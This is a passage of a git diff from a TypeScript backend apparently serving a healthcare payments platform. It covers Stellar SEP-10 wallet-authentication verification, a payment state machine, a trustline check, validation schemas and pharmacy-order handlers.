nonce; subsequent ops are Manage Data sourced by the server with +// web_auth_domain == ours β†’ readChallengeTx +// 6. server signature present and valid β†’ readChallengeTx +// (steps 1-6 = WebAuth.readChallengeTx) +// 7. client signatures: for a FUNDED account, signer weights loaded from +// Horizon must meet the account's medium threshold +// (verifyChallengeTxThreshold); for an UNFUNDED account (per spec β€” +// see below) the master key must sign +// (verifyChallengeTxSigners). +// Plus our own additions on top of the spec list: the challenge's nonce +// must exist in OUR issuance ledger, still unconsumed and unexpired +// (single-use, consumed atomically), and must be bound to the +// authenticated caller and the exact account in the challenge. +import { HttpError } from '../../../http-error'; +import { config } from '../../../config'; +import * as paymentsRepo from '../repositories'; +import { loadStellarSdk } from './stellar-sdk-loader'; +import type { Keypair, Transaction } from '@stellar/stellar-sdk' with { 'resolution-mode': 'import' }; + +// --- Configuration ------------------------------------------------------- + +export interface Sep10Config { + serverKeypair: Keypair; + serverAccountId: string; + homeDomain: string; + webAuthDomain: string; + networkPassphrase: string; + horizonUrl: string; + timeoutSeconds: number; +} + +/** Human-readable configuration problems, naming ENV VAR NAMES only β€” + * never the secret value. Used by both the startup check and the lazy + * per-request check. */ +export async function sep10ConfigProblems(): Promise { + const problems: string[] = []; + if (!config.sep10.signingSecret) problems.push('SEP10_SIGNING_SECRET'); + if (!config.sep10.homeDomain) problems.push('SEP10_HOME_DOMAIN'); + if (!config.sep10.webAuthDomain) problems.push('SEP10_WEB_AUTH_DOMAIN'); + if (!Number.isInteger(config.sep10.challengeTimeoutSeconds) || config.sep10.challengeTimeoutSeconds <= 0) { + problems.push('SEP10_CHALLENGE_TIMEOUT_SECONDS (must be a positive integer)'); + } + if (config.sep10.signingSecret) { + const { Keypair } = await loadStellarSdk(); + try { + Keypair.fromSecret(config.sep10.signingSecret); + } catch { + // The parse error itself would echo the bad secret β€” report the var + // name, never the value. + problems.push('SEP10_SIGNING_SECRET (not a valid Stellar secret key)'); + } + } + return problems; +} + +/** Startup validation (issue #77: "validate at startup"). Called from + * src/server.ts before the listener starts, so a deployment with a + * missing/typo'd web-auth key fails to boot instead of 500ing on the + * first challenge request. Deliberately NOT called at module import: + * test suites build the app without importing server.ts. */ +export async function validateSep10Config(): Promise { + const problems = await sep10ConfigProblems(); + if (problems.length > 0) { + throw new Error(`SEP-10 configuration invalid β€” missing or invalid env var(s): ${problems.join(', ')}.`); + } +} + +/** Lazy per-request check for paths that need the config (mirrors + * requirePaymentsConfig in the sibling payments services). Throws a 500 + * HttpError, not a boot failure β€” this is the second line of defence for + * environments that don't run server.ts. */ +async function requireSep10Config(): Promise { + const problems = await sep10ConfigProblems(); + if (problems.length > 0) { + throw new HttpError(500, `SEP-10 is not configured β€” missing or invalid env var(s): ${problems.join(', ')}.`); + } + const { Keypair } = await loadStellarSdk(); + const serverKeypair = Keypair.fromSecret(config.sep10.signingSecret!); + return { + serverKeypair, + serverAccountId: serverKeypair.publicKey(), + homeDomain: config.sep10.homeDomain!, + webAuthDomain: config.sep10.webAuthDomain!, + networkPassphrase: config.sep10.networkPassphrase, + horizonUrl: config.sep10.horizonUrl, + timeoutSeconds: config.sep10.challengeTimeoutSeconds, + }; +} + +// --- Horizon seam (tests inject a fake; no network in the test suite) ---- + +export interface Sep10Signer { + key: string; + weight: number; + type: string; +} + +export interface Sep10AccountInfo { + accountId: string; + thresholds: { low_threshold: number; med_threshold: number; high_threshold: number }; + signers: Sep10Signer[]; +} + +/** Returns null when the account does not exist on the network yet + * (Horizon 404 β€” the SEP-10 "unfunded" case). Throws on any other + * Horizon failure. */ +export type Sep10AccountFetcher = (accountId: string) => Promise; + +let accountFetcherOverride: Sep10AccountFetcher | undefined; + +/** Test seam, same pattern as auth's setEmailSender: unit/integration + * tests replace the outbound Horizon call through this module's service + * surface instead of mocking a network client. Never called with an + * override in production code. */ +export function setSep10AccountFetcher(fetcher: Sep10AccountFetcher): void { + accountFetcherOverride = fetcher; +} + +export function resetSep10AccountFetcher(): void { + accountFetcherOverride = undefined; +} + +function isHorizonNotFound(err: unknown): boolean { + if (typeof err !== 'object' || err === null) return false; + const candidate = err as { name?: string; status?: number; response?: { status?: number } }; + return candidate.name === 'NotFoundError' || candidate.status === 404 || candidate.response?.status === 404; +} + +async function defaultAccountFetcher(accountId: string): Promise { + const { Horizon } = await loadStellarSdk(); + const horizon = new Horizon.Server(config.sep10.horizonUrl); + try { + const account = await horizon.accounts().accountId(accountId).call(); + return { + accountId: account.id, + thresholds: { + low_threshold: account.thresholds.low_threshold, + med_threshold: account.thresholds.med_threshold, + high_threshold: account.thresholds.high_threshold, + }, + signers: account.signers.map((signer) => ({ key: signer.key, weight: signer.weight, type: signer.type })), + }; + } catch (err) { + if (isHorizonNotFound(err)) return null; + throw err; + } +} + +async function fetchAccountInfo(accountId: string): Promise { + try { + return await (accountFetcherOverride ?? defaultAccountFetcher)(accountId); + } catch (err) { + if (err instanceof HttpError) throw err; + if (isHorizonNotFound(err)) return null; + // Don't forward Horizon/axios internals (URLs, request config) to the + // client β€” the fact that we couldn't load signers is all they get. + throw new HttpError(502, 'Could not load the account from Horizon to verify its signers.', 'SEP10_HORIZON_UNAVAILABLE'); + } +} + +// --- Challenge building -------------------------------------------------- + +/** The nonce is the base64 string in the first Manage Data op's value + * (" auth", source = client account): 48 random bytes + * base64-encoded to 64 chars, per SEP-10. That exact string is what gets + * stored as Sep10Challenge.nonce β€” the single-use key. */ +function challengeNonce(tx: Transaction): string { + const [firstOp] = tx.operations; + if (!firstOp || firstOp.type !== 'manageData') { + throw new HttpError(500, 'Built challenge is malformed (first operation is not Manage Data).'); + } + // Parsed Manage Data values arrive as a string for valid UTF-8 (which + // a base64 nonce always is) and as a Buffer otherwise; normalise to + // the exact string form SEP-10 specifies. + const value = firstOp.value; + return Buffer.isBuffer(value) ? value.toString('utf8') : String(value); +} + +/** Parses a submitted challenge XDR just enough to pull the nonce out. + * Assumes the caller already ran WebAuth.readChallengeTx (structure, + * timebounds and server signature are its job, not this helper's). */ +function signedChallengeNonce(tx: Transaction): string { + return challengeNonce(tx); +} + +export interface Sep10ChallengeResponse { + transaction: string; + expires_in: number; + network_passphrase: string; +} + +/** GET /payments/sep10/challenge β€” builds a server-signed SEP-10 + * challenge for `account` and records the issuance binding + * (userId, account, nonce, expiresAt) so a verified signature can only + * ever be redeemed by that user, for that account, once. */ +export async function createSep10Challenge(userId: string, account: string): Promise { + const { StrKey, WebAuth } = await loadStellarSdk(); + + // Full strkey validation (base32 + CRC16 checksum), not just the G… + // shape β€” a checksum-invalid key would otherwise be discovered only at + // wallet-signing time. + if (!StrKey.isValidEd25519PublicKey(account)) { + throw new HttpError(400, 'account must be a valid Stellar public key (G…).', 'SEP10_INVALID_ACCOUNT'); + } + + const cfg = await requireSep10Config(); + + let transaction: string; + try { + // Server-signed, Manage Data nonce, bounded timebounds, home domain + // and web_auth_domain β€” all handled by the SDK helper. + transaction = WebAuth.buildChallengeTx( + cfg.serverKeypair, + account, + cfg.homeDomain, + cfg.timeoutSeconds, + cfg.networkPassphrase, + cfg.webAuthDomain, + ); + } catch (err) { + // No secret can appear here (the keypair was already validated), but + // keep the message generic anyway. + throw new HttpError(500, `Could not build the SEP-10 challenge: ${err instanceof Error ? err.message : 'unknown error'}`); + } + + // Read our own challenge back through the same validation path a client + // submission takes β€” if it doesn't round-trip, we'd be handing out a + // challenge we would later reject. + const read = WebAuth.readChallengeTx(transaction, cfg.serverAccountId, cfg.networkPassphrase, cfg.homeDomain, cfg.webAuthDomain); + const nonce = challengeNonce(read.tx); + const maxTimeSeconds = Number(read.tx.timeBounds?.maxTime ?? NaN); + if (!Number.isFinite(maxTimeSeconds)) { + throw new HttpError(500, 'Built challenge has no time bounds.'); + } + const expiresAt = new Date(maxTimeSeconds * 1000); + + await paymentsRepo.createSep10Challenge({ userId, account, nonce, expiresAt }); + + return { + transaction, + expires_in: cfg.timeoutSeconds, + network_passphrase: cfg.networkPassphrase, + }; +} + +// --- Challenge verification --------------------------------------------- + +export interface Sep10VerifyResult { + account: string; + signers: string[]; +} + +/** POST /payments/sep10/verify β€” the full SEP-10 server verification + * list plus DocForum's own single-use/binding rules. On success the + * caller has proven control of `account` (fundamentally: the same proof + * of control the Stellar network itself would honour for this + * transaction), and the challenge is consumed. + * + * UNFUNDED ACCOUNTS (SEP-10 spec): an account that does not exist on the + * network has no signers and no thresholds on record, so weights cannot + * be checked. The spec's rule for that case is that the challenge must be + * signed by the account's MASTER key, and by exactly one other signature + * (the server's) on the envelope β€” verifyChallengeTxSigners enforces + * both. We detect the unfunded case by a Horizon 404; any other Horizon + * error is a 502, never silently treated as unfunded (that would downgrade + * multisig accounts to master-key-only verification). + * + * This endpoint does NOT mint a DocForum session JWT: DocForum's own + * auth (Bearer access token) already authenticates the caller β€” SEP-10's + * job here is proving wallet control, not issuing a session. */ +export async function verifySep10Challenge(userId: string, challengeTx: string): Promise { + const cfg = await requireSep10Config(); + const { WebAuth } = await loadStellarSdk(); + + // Steps 1-6 of the SEP-10 list: deserialize, sequence == 0, source == + // server account, bounded/unexpired timebounds, operation shape + // (first op Manage Data sourced by the client with " auth" + // key and a valid nonce, later ops Manage Data sourced by the server, + // web_auth_domain == ours), and the server signature. + let read: { tx: Transaction; clientAccountID: string }; + try { + read = WebAuth.readChallengeTx( + challengeTx, + cfg.serverAccountId, + cfg.networkPassphrase, + cfg.homeDomain, + cfg.webAuthDomain, + ); + } catch (err) { + throw new HttpError(400, `Invalid challenge: ${err instanceof Error ? err.message : 'could not parse transaction'}`, 'SEP10_INVALID_CHALLENGE'); + } + + const nonce = signedChallengeNonce(read.tx); + + // Our own ledger: was this challenge issued by us, is it still good, + // and is it THIS caller's, for THIS account? Checked before the Horizon + // round trip so a mismatched submission can't make us fetch signers. + const record = await paymentsRepo.findSep10ChallengeByNonce(nonce); + if (!record) { + throw new HttpError(401, 'Challenge was not issued by this server.', 'SEP10_CHALLENGE_UNKNOWN'); + } + if (record.userId !== userId || record.account !== read.clientAccountID) { + // A signed challenge is never transferable: not to another user, and + // not for another account than the one the challenge was issued for. + throw new HttpError(403, 'This challenge was issued to a different user or account.', 'SEP10_CHALLENGE_NOT_FOR_CALLER'); + } + if (record.consumedAt) { + throw new HttpError(401, 'This challenge has already been used.', 'SEP10_CHALLENGE_ALREADY_USED'); + } + // Strict check against OUR clock, without the SDK's 5-minute drift + // grace β€” a challenge is good for exactly the window we issued it for. + if (record.expiresAt.getTime() <= Date.now()) { + throw new HttpError(401, 'This challenge has expired.', 'SEP10_CHALLENGE_EXPIRED'); + } + + // Steps 7/8 of the SEP-10 list: client signatures. + const accountInfo = await fetchAccountInfo(read.clientAccountID); + let matchedSigners: string[]; + try { + if (accountInfo === null) { + // Unfunded account β€” no on-chain signers/thresholds exist; the + // master key must sign (documented in the API docs as well). + matchedSigners = WebAuth.verifyChallengeTxSigners( + challengeTx, + cfg.serverAccountId, + cfg.networkPassphrase, + [read.clientAccountID], + cfg.homeDomain, + cfg.webAuthDomain, + ); + } else { + // Multisig: load signers + thresholds from Horizon and enforce the + // account's MEDIUM threshold β€” SEP-10's guidance is medium for + // authority aligned with the ability to move funds, which is + // exactly what a verified wallet link gates. The server's own + // signature contributes no client weight (enforced by the SDK). + matchedSigners = WebAuth.verifyChallengeTxThreshold( + challengeTx, + cfg.serverAccountId, + cfg.networkPassphrase, + accountInfo.thresholds.med_threshold, + accountInfo.signers, + cfg.homeDomain, + cfg.webAuthDomain, + ); + } + } catch (err) { + // A structurally sound challenge whose client signature is missing, + // unknown, or below threshold. + throw new HttpError(401, `Challenge signature verification failed: ${err instanceof Error ? err.message : 'unknown error'}`, 'SEP10_INVALID_SIGNATURE'); + } + + // Step 9 β€” single-use, consumed atomically and LAST: a bad signature + // never burns a legitimately issued nonce, and two concurrent replays + // of the same signed challenge race here β€” exactly one conditional + // UPDATE wins (`WHERE consumedAt IS NULL AND expiresAt > now`). + const consumedAt = new Date(); + const { count } = await paymentsRepo.consumeSep10Challenge(nonce, consumedAt); + if (count !== 1) { + throw new HttpError(401, 'This challenge has already been used.', 'SEP10_CHALLENGE_ALREADY_USED'); + } + + return { account: read.clientAccountID, signers: matchedSigners }; +} diff --git a/backend/src/modules/payments/services/state-machine.ts b/backend/src/modules/payments/services/state-machine.ts index 2c8dd704..bcf09ba0 100644 --- a/backend/src/modules/payments/services/state-machine.ts +++ b/backend/src/modules/payments/services/state-machine.ts @@ -1,24 +1,24 @@ -import type { PaymentIntentStatus } from '@prisma/client'; - -const transitions: Record = { - // ADR 0005 steps 2-4: a created intent can either be funded from the - // platform payer (custodial v1) or prepared for the patient's signature. - // Expiry rolls a prepared transaction back to `created`. - created: ['awaiting_signature', 'escrowed'], - awaiting_signature: ['created', 'submitting'], - // The submit half of ADR 0005 is not built yet (issue #80 covers prepare), - // so `submitting` is reserved but never written by this service today. - submitting: ['escrowed'], - escrowed: ['released', 'refunded'], - released: [], - refunded: [], - failed: [], -}; - -/** Returns the next state or null when a requested lifecycle transition is illegal. */ -export function transitionPaymentIntentStatus( - current: PaymentIntentStatus, - requested: PaymentIntentStatus, -): PaymentIntentStatus | null { - return transitions[current].includes(requested) ? requested : null; -} +import type { PaymentIntentStatus } from '@prisma/client'; + +const transitions: Record = { + // ADR 0005 steps 2-4: a created intent can either be funded from the + // platform payer (custodial v1) or prepared for the patient's signature. + // Expiry rolls a prepared transaction back to `created`. + created: ['awaiting_signature', 'escrowed'], + awaiting_signature: ['created', 'submitting'], + // The submit half of ADR 0005 is not built yet (issue #80 covers prepare), + // so `submitting` is reserved but never written by this service today. + submitting: ['escrowed'], + escrowed: ['released', 'refunded'], + released: [], + refunded: [], + failed: [], +}; + +/** Returns the next state or null when a requested lifecycle transition is illegal. */ +export function transitionPaymentIntentStatus( + current: PaymentIntentStatus, + requested: PaymentIntentStatus, +): PaymentIntentStatus | null { + return transitions[current].includes(requested) ? requested : null; +} diff --git a/backend/src/modules/payments/services/stellar-sdk-loader.ts b/backend/src/modules/payments/services/stellar-sdk-loader.ts index 50d10a89..20a50e7a 100644 --- a/backend/src/modules/payments/services/stellar-sdk-loader.ts +++ b/backend/src/modules/payments/services/stellar-sdk-loader.ts @@ -1,14 +1,14 @@ -// @stellar/stellar-sdk (v16) ships both CJS and ESM builds, but its -// package `types` resolve as ECMAScript-module declarations β€” a static -// import in this CommonJS backend trips TS1479/TS1541 under `module: -// node16`. A dynamic `import()` is required instead, exactly like the -// existing escrow-sdk-loader.ts (ESM-only @docforum/escrow-sdk) and the -// embedded-postgres interop. One cached module promise per process. -type StellarSdkModule = typeof import('@stellar/stellar-sdk', { with: { 'resolution-mode': 'import' } }); - -let modulePromise: Promise | undefined; - -export function loadStellarSdk(): Promise { - modulePromise ??= import('@stellar/stellar-sdk'); - return modulePromise; -} +// @stellar/stellar-sdk (v16) ships both CJS and ESM builds, but its +// package `types` resolve as ECMAScript-module declarations β€” a static +// import in this CommonJS backend trips TS1479/TS1541 under `module: +// node16`. A dynamic `import()` is required instead, exactly like the +// existing escrow-sdk-loader.ts (ESM-only @docforum/escrow-sdk) and the +// embedded-postgres interop. One cached module promise per process. +type StellarSdkModule = typeof import('@stellar/stellar-sdk', { with: { 'resolution-mode': 'import' } }); + +let modulePromise: Promise | undefined; + +export function loadStellarSdk(): Promise { + modulePromise ??= import('@stellar/stellar-sdk'); + return modulePromise; +} diff --git a/backend/src/modules/payments/services/trustline.ts b/backend/src/modules/payments/services/trustline.ts index 95c74817..683b5b4f 100644 --- a/backend/src/modules/payments/services/trustline.ts +++ b/backend/src/modules/payments/services/trustline.ts @@ -1,57 +1,57 @@ -// Payee trustline check (issue #79). A facility's linked Stellar address -// must be able to hold the asset an escrow pays out in; for an issued asset -// (USDC) that means a trustline to the issuer. Native XLM needs none. -// -// Horizon is read here and nowhere else in this module β€” contract calls go -// through @docforum/escrow-sdk. The lookup is deliberately narrow: account -// existence + a matching, authorised balance line. -import { HttpError } from '../../../http-error'; -import { config, type PaymentAsset } from '../../../config'; - -export type TrustlineChecker = (account: string, asset: PaymentAsset) => Promise; - -async function horizonTrustline(account: string, asset: PaymentAsset): Promise { - // Native asset: no trustline exists or is needed. - if (!asset.issuer) return true; - - let response: Response; - try { - response = await fetch(`${config.payments.horizonUrl}/accounts/${encodeURIComponent(account)}`, { - headers: { accept: 'application/json' }, - signal: AbortSignal.timeout(10_000), - }); - } catch { - // Network/timeout β€” a transport failure, not "no trustline". Failing - // closed with a distinct code keeps the two distinguishable. - throw new HttpError(502, 'Could not reach Horizon to check the payee trustline.', 'HORIZON_UNAVAILABLE'); - } - // A Stellar account that doesn't exist (or was merged) can't hold the - // asset. That's a real "no trustline" answer, not an outage. - if (response.status === 404) return false; - if (!response.ok) { - throw new HttpError(502, `Horizon trustline check failed (${response.status}).`, 'HORIZON_UNAVAILABLE'); - } - - const body = (await response.json()) as { - balances?: Array<{ asset_type?: string; asset_code?: string; asset_issuer?: string; is_authorized?: boolean }>; - }; - return (body.balances ?? []).some( - (balance) => - balance.asset_code === asset.code && - balance.asset_issuer === asset.issuer && - // An explicitly frozen/unauthorised line can't receive the payout. - balance.is_authorized !== false, - ); -} - -let checker: TrustlineChecker = horizonTrustline; - -export function hasTrustline(account: string, asset: PaymentAsset): Promise { - return checker(account, asset); -} - -/** Test seam, same convention as setEscrowSdkForTests. `undefined` restores - * the Horizon-backed checker. Never called by application code. */ -export function setTrustlineCheckerForTests(fn: TrustlineChecker | undefined): void { - checker = fn ?? horizonTrustline; -} +// Payee trustline check (issue #79). A facility's linked Stellar address +// must be able to hold the asset an escrow pays out in; for an issued asset +// (USDC) that means a trustline to the issuer. Native XLM needs none. +// +// Horizon is read here and nowhere else in this module β€” contract calls go +// through @docforum/escrow-sdk. The lookup is deliberately narrow: account +// existence + a matching, authorised balance line. +import { HttpError } from '../../../http-error'; +import { config, type PaymentAsset } from '../../../config'; + +export type TrustlineChecker = (account: string, asset: PaymentAsset) => Promise; + +async function horizonTrustline(account: string, asset: PaymentAsset): Promise { + // Native asset: no trustline exists or is needed. + if (!asset.issuer) return true; + + let response: Response; + try { + response = await fetch(`${config.payments.horizonUrl}/accounts/${encodeURIComponent(account)}`, { + headers: { accept: 'application/json' }, + signal: AbortSignal.timeout(10_000), + }); + } catch { + // Network/timeout β€” a transport failure, not "no trustline". Failing + // closed with a distinct code keeps the two distinguishable. + throw new HttpError(502, 'Could not reach Horizon to check the payee trustline.', 'HORIZON_UNAVAILABLE'); + } + // A Stellar account that doesn't exist (or was merged) can't hold the + // asset. That's a real "no trustline" answer, not an outage. + if (response.status === 404) return false; + if (!response.ok) { + throw new HttpError(502, `Horizon trustline check failed (${response.status}).`, 'HORIZON_UNAVAILABLE'); + } + + const body = (await response.json()) as { + balances?: Array<{ asset_type?: string; asset_code?: string; asset_issuer?: string; is_authorized?: boolean }>; + }; + return (body.balances ?? []).some( + (balance) => + balance.asset_code === asset.code && + balance.asset_issuer === asset.issuer && + // An explicitly frozen/unauthorised line can't receive the payout. + balance.is_authorized !== false, + ); +} + +let checker: TrustlineChecker = horizonTrustline; + +export function hasTrustline(account: string, asset: PaymentAsset): Promise { + return checker(account, asset); +} + +/** Test seam, same convention as setEscrowSdkForTests. `undefined` restores + * the Horizon-backed checker. Never called by application code. */ +export function setTrustlineCheckerForTests(fn: TrustlineChecker | undefined): void { + checker = fn ?? horizonTrustline; +} diff --git a/backend/src/modules/payments/validation.ts b/backend/src/modules/payments/validation.ts index be916067..3147dce4 100644 --- a/backend/src/modules/payments/validation.ts +++ b/backend/src/modules/payments/validation.ts @@ -1,71 +1,71 @@ -import { z } from 'zod'; - -export const linkWalletSchema = z.object({ - // Stellar public keys are 56 chars, start with 'G'. Not a full - // checksum validation (that's what create_escrow/the network itself - // will reject) β€” just a sanity bound against obvious garbage input. - // (The SEP-10 challenge endpoint DOES checksum-validate via - // StrKey.isValidEd25519PublicKey β€” see services/sep10.ts.) - stellarPublicKey: z - .string() - .regex(/^G[A-Z2-7]{55}$/, 'stellarPublicKey must be a valid Stellar public key (starts with G, 56 chars).'), -}); - -// SEP-10 (issue #77). Shape-only gate: the checksum-accurate strkey -// validation (and the 400) happens in services/sep10.ts via -// StrKey.isValidEd25519PublicKey, so the service layer is safe for -// non-HTTP callers too. -export const sep10ChallengeQuerySchema = z.object({ - account: z - .string() - .regex(/^G[A-Z2-7]{55}$/, 'account must be a valid Stellar public key (starts with G, 56 chars).'), -}); - -export const sep10VerifySchema = z.object({ - // base64 TransactionEnvelope XDR of the wallet-signed challenge. - transaction: z.string().min(1), -}); - -export const createPaymentIntentSchema = z.object({ - orderType: z.enum(['prescription', 'lab_order']), - // Opaque β€” see schema.prisma comment. Not validated against a real - // Prescription/LabOrder record yet (Phase 4 doesn't exist). - orderId: z.string().min(1), - patientProfileId: z.string().min(1), - facilityId: z.string().min(1), - // Stroops (native XLM's smallest unit), matching - // @docforum/escrow-sdk's bigint amount exactly. Sent as a string over - // JSON (a raw number can't safely carry bigint precision) and parsed - // here. - amountStroops: z - .string() - .regex(/^[1-9][0-9]*$/, 'amountStroops must be a positive integer string.') - .transform((value) => BigInt(value)), -}); - -const isoDateString = z - .string() - .refine((value) => !Number.isNaN(new Date(value).getTime()) && /^\d{4}-\d{2}-\d{2}/.test(value), { - message: 'must be an ISO-8601 date or date-time', - }); - -const isoDate = isoDateString.transform((value) => new Date(value)); - -const inclusiveEndDate = isoDateString.transform((value) => { - const date = new Date(value); - if (/^\d{4}-\d{2}-\d{2}$/.test(value)) date.setUTCHours(23, 59, 59, 999); - return date; -}); - -export const paymentHistoryQuerySchema = z - .object({ - status: z.enum(['created', 'escrowed', 'released', 'refunded', 'failed']).optional(), - from: isoDate.optional(), - to: inclusiveEndDate.optional(), - cursor: z.string().min(1).max(512).optional(), - limit: z.coerce.number().int().min(1).max(100).default(50), - }) - .strict() - .refine((query) => !query.from || !query.to || query.from <= query.to, { - message: '`from` must not be after `to`.', - }); +import { z } from 'zod'; + +export const linkWalletSchema = z.object({ + // Stellar public keys are 56 chars, start with 'G'. Not a full + // checksum validation (that's what create_escrow/the network itself + // will reject) β€” just a sanity bound against obvious garbage input. + // (The SEP-10 challenge endpoint DOES checksum-validate via + // StrKey.isValidEd25519PublicKey β€” see services/sep10.ts.) + stellarPublicKey: z + .string() + .regex(/^G[A-Z2-7]{55}$/, 'stellarPublicKey must be a valid Stellar public key (starts with G, 56 chars).'), +}); + +// SEP-10 (issue #77). Shape-only gate: the checksum-accurate strkey +// validation (and the 400) happens in services/sep10.ts via +// StrKey.isValidEd25519PublicKey, so the service layer is safe for +// non-HTTP callers too. +export const sep10ChallengeQuerySchema = z.object({ + account: z + .string() + .regex(/^G[A-Z2-7]{55}$/, 'account must be a valid Stellar public key (starts with G, 56 chars).'), +}); + +export const sep10VerifySchema = z.object({ + // base64 TransactionEnvelope XDR of the wallet-signed challenge. + transaction: z.string().min(1), +}); + +export const createPaymentIntentSchema = z.object({ + orderType: z.enum(['prescription', 'lab_order']), + // Opaque β€” see schema.prisma comment. Not validated against a real + // Prescription/LabOrder record yet (Phase 4 doesn't exist). + orderId: z.string().min(1), + patientProfileId: z.string().min(1), + facilityId: z.string().min(1), + // Stroops (native XLM's smallest unit), matching + // @docforum/escrow-sdk's bigint amount exactly. Sent as a string over + // JSON (a raw number can't safely carry bigint precision) and parsed + // here. + amountStroops: z + .string() + .regex(/^[1-9][0-9]*$/, 'amountStroops must be a positive integer string.') + .transform((value) => BigInt(value)), +}); + +const isoDateString = z + .string() + .refine((value) => !Number.isNaN(new Date(value).getTime()) && /^\d{4}-\d{2}-\d{2}/.test(value), { + message: 'must be an ISO-8601 date or date-time', + }); + +const isoDate = isoDateString.transform((value) => new Date(value)); + +const inclusiveEndDate = isoDateString.transform((value) => { + const date = new Date(value); + if (/^\d{4}-\d{2}-\d{2}$/.test(value)) date.setUTCHours(23, 59, 59, 999); + return date; +}); + +export const paymentHistoryQuerySchema = z + .object({ + status: z.enum(['created', 'escrowed', 'released', 'refunded', 'failed']).optional(), + from: isoDate.optional(), + to: inclusiveEndDate.optional(), + cursor: z.string().min(1).max(512).optional(), + limit: z.coerce.number().int().min(1).max(100).default(50), + }) + .strict() + .refine((query) => !query.from || !query.to || query.from <= query.to, { + message: '`from` must not be after `to`.', + }); diff --git a/backend/src/modules/pharmacy-orders/controllers/index.ts b/backend/src/modules/pharmacy-orders/controllers/index.ts index bbd0beb8..ebb1b54f 100644 --- a/backend/src/modules/pharmacy-orders/controllers/index.ts +++ b/backend/src/modules/pharmacy-orders/controllers/index.ts @@ -1,33 +1,33 @@ -import type { Request, Response } from 'express'; -import { auditActor } from '../../../middleware/request-id'; -import * as services from '../services'; - -export async function createPharmacyOrder(req: Request, res: Response) { - const { patientProfileId, prescribingDoctorId, details } = req.body || {}; - const order = await services.createPharmacyOrder({ - patientProfileId, - prescribingDoctorId, - details, - }); - res.status(201).json(order); -} - -export async function fulfillPharmacyOrder(req: Request, res: Response) { - const id = req.params.id as string; - const { referenceNumber, attachment, notes } = req.body || {}; - const actor = auditActor(req); - - const order = await services.fulfillPharmacyOrder( - id, - req.user!.id, - { referenceNumber, attachment, notes }, - actor, - ); - res.status(200).json(order); -} - -export async function getPharmacyOrder(req: Request, res: Response) { - const id = req.params.id as string; - const order = await services.getPharmacyOrderById(id); - res.status(200).json(order); -} +import type { Request, Response } from 'express'; +import { auditActor } from '../../../middleware/request-id'; +import * as services from '../services'; + +export async function createPharmacyOrder(req: Request, res: Response) { + const { patientProfileId, prescribingDoctorId, details } = req.body || {}; + const order = await services.createPharmacyOrder({ + patientProfileId, + prescribingDoctorId, + details, + }); + res.status(201).json(order); +} + +export async function fulfillPharmacyOrder(req: Request, res: Response) { + const id = req.params.id as string; + const { referenceNumber, attachment, notes } = req.body || {}; + const actor = auditActor(req); + + const order = await services.fulfillPharmacyOrder( + id, + req.user!.id, + { referenceNumber, attachment, notes }, + actor, + ); + res.status(200).json(order); +} + +export async function getPharmacyOrder(req: Request, res: Response) { + const id = req.params.id as string; + const order = await services.getPharmacyOrderById(id); + res.status(200).json(order); +} diff --git a/backend/src/modules/pharmacy-orders/repositories/index.ts b/backend/src/modules/pharmacy-orders/repositories/index.ts index 70106b73..247d313d 100644 --- a/backend/src/modules/pharmacy-orders/repositories/index.ts +++ b/backend/src/modules/pharmacy-orders/repositories/index.ts @@ -1,82 +1,82 @@ -import type { OrderType, Prisma } from '@prisma/client'; - -export async function findOrderById(tx: Prisma.TransactionClient, orderId: string, orderType?: OrderType) { - return tx.order.findFirst({ - where: { - id: orderId, - ...(orderType ? { orderType } : {}), - }, - include: { - fulfillmentProofs: true, - disputes: { - include: { - resolutions: true, - }, - }, - }, - }); -} - -export async function createOrder( - tx: Prisma.TransactionClient, - data: { - orderType: OrderType; - patientProfileId: string; - prescribingDoctorId?: string; - details?: string; - }, -) { - return tx.order.create({ - data: { - orderType: data.orderType, - patientProfileId: data.patientProfileId, - prescribingDoctorId: data.prescribingDoctorId, - details: data.details, - status: 'issued', - }, - include: { - fulfillmentProofs: true, - disputes: true, - }, - }); -} - -export async function createFulfillmentProof( - tx: Prisma.TransactionClient, - data: { - orderId: string; - facilityProfileId: string; - referenceNumber: string; - attachmentUrl?: string; - notes?: string; - }, -) { - return tx.fulfillmentProof.create({ - data: { - orderId: data.orderId, - facilityProfileId: data.facilityProfileId, - referenceNumber: data.referenceNumber, - attachmentUrl: data.attachmentUrl, - notes: data.notes, - }, - }); -} - -export async function markOrderFulfilled( - tx: Prisma.TransactionClient, - orderId: string, - facilityProfileId: string, -) { - const updated = await tx.order.updateMany({ - where: { - id: orderId, - status: 'issued', - }, - data: { - status: 'fulfilled', - fulfilledAt: new Date(), - facilityProfileId, - }, - }); - return updated.count > 0; -} +import type { OrderType, Prisma } from '@prisma/client'; + +export async function findOrderById(tx: Prisma.TransactionClient, orderId: string, orderType?: OrderType) { + return tx.order.findFirst({ + where: { + id: orderId, + ...(orderType ? { orderType } : {}), + }, + include: { + fulfillmentProofs: true, + disputes: { + include: { + resolutions: true, + }, + }, + }, + }); +} + +export async function createOrder( + tx: Prisma.TransactionClient, + data: { + orderType: OrderType; + patientProfileId: string; + prescribingDoctorId?: string; + details?: string; + }, +) { + return tx.order.create({ + data: { + orderType: data.orderType, + patientProfileId: data.patientProfileId, + prescribingDoctorId: data.prescribingDoctorId, + details: data.details, + status: 'issued', + }, + include: { + fulfillmentProofs: true, + disputes: true, + }, + }); +} + +export async function createFulfillmentProof( + tx: Prisma.TransactionClient, + data: { + orderId: string; + facilityProfileId: string; + referenceNumber: string; + attachmentUrl?: string; + notes?: string; + }, +) { + return tx.fulfillmentProof.create({ + data: { + orderId: data.orderId, + facilityProfileId: data.facilityProfileId, + referenceNumber: data.referenceNumber, + attachmentUrl: data.attachmentUrl, + notes: data.notes, + }, + }); +} + +export async function markOrderFulfilled( + tx: Prisma.TransactionClient, + orderId: string, + facilityProfileId: string, +) { + const updated = await tx.order.updateMany({ + where: { + id: orderId, + status: 'issued', + }, + data: { + status: 'fulfilled', + fulfilledAt: new Date(), + facilityProfileId, + }, + }); + return updated.count > 0; +} diff --git a/backend/src/modules/pharmacy-orders/routes/index.ts b/backend/src/modules/pharmacy-orders/routes/index.ts index dfee5807..b8b2cfb1 100644 --- a/backend/src/modules/pharmacy-orders/routes/index.ts +++ b/backend/src/modules/pharmacy-orders/routes/index.ts @@ -1,9 +1,9 @@ -import { Router } from 'express'; -import { authenticate, requireRole } from '../../../middleware/auth'; -import * as controllers from '../controllers'; - -export const pharmacyOrdersRouter = Router(); - -pharmacyOrdersRouter.post('/', authenticate, controllers.createPharmacyOrder); -pharmacyOrdersRouter.get('/:id', authenticate, controllers.getPharmacyOrder); 